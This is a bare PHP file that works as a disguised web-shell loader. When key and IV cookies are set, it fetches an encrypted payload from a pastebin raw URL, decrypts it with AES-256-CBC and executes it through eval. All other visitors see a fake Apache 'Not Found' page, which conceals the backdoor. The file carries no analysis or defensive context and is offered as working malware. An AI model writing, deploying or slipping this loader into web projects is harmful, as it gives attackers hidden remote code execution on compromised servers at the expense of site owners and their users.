<?php

function encrypt_decrypt($action, $string, $secret_key, $secret_iv) {
    $output = false;

    $encrypt_method = "AES-256-CBC";

    $key = hash('sha256', $secret_key);

    $iv = substr(hash('sha256', $secret_iv), 0, 16);

    if( $action == 'encrypt' ) {
        $output = openssl_encrypt($string, $encrypt_method, $key, 0, $iv);
        $output = base64_encode($output);
    }
    else if( $action == 'decrypt' ){
        $output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
    }

    return $output;
}

$key = $_POST["key"];

$iv = $_POST["iv"];

if ( isset( $_POST[ 'key' ] ) && isset( $_POST[ 'iv' ] ) ) {
setcookie('iv', $iv, time() + (600), "/");
setcookie('key', $key, time() + (600), "/");
}
if( isset( $_COOKIE['iv']) && isset( $_COOKIE['key'])) {
$encrypt_txt = file_get_contents("https://pastebin.com/raw/N2g82X5K");
$decrypted_txt = encrypt_decrypt('decrypt', $encrypt_txt, $_COOKIE['key'], $_COOKIE['iv']);
eval("?>".($decrypted_txt));
} else
	printf(
        "<h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr /><p>".
        "Apache Server at %s Port %s</p>", $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT'] );
?>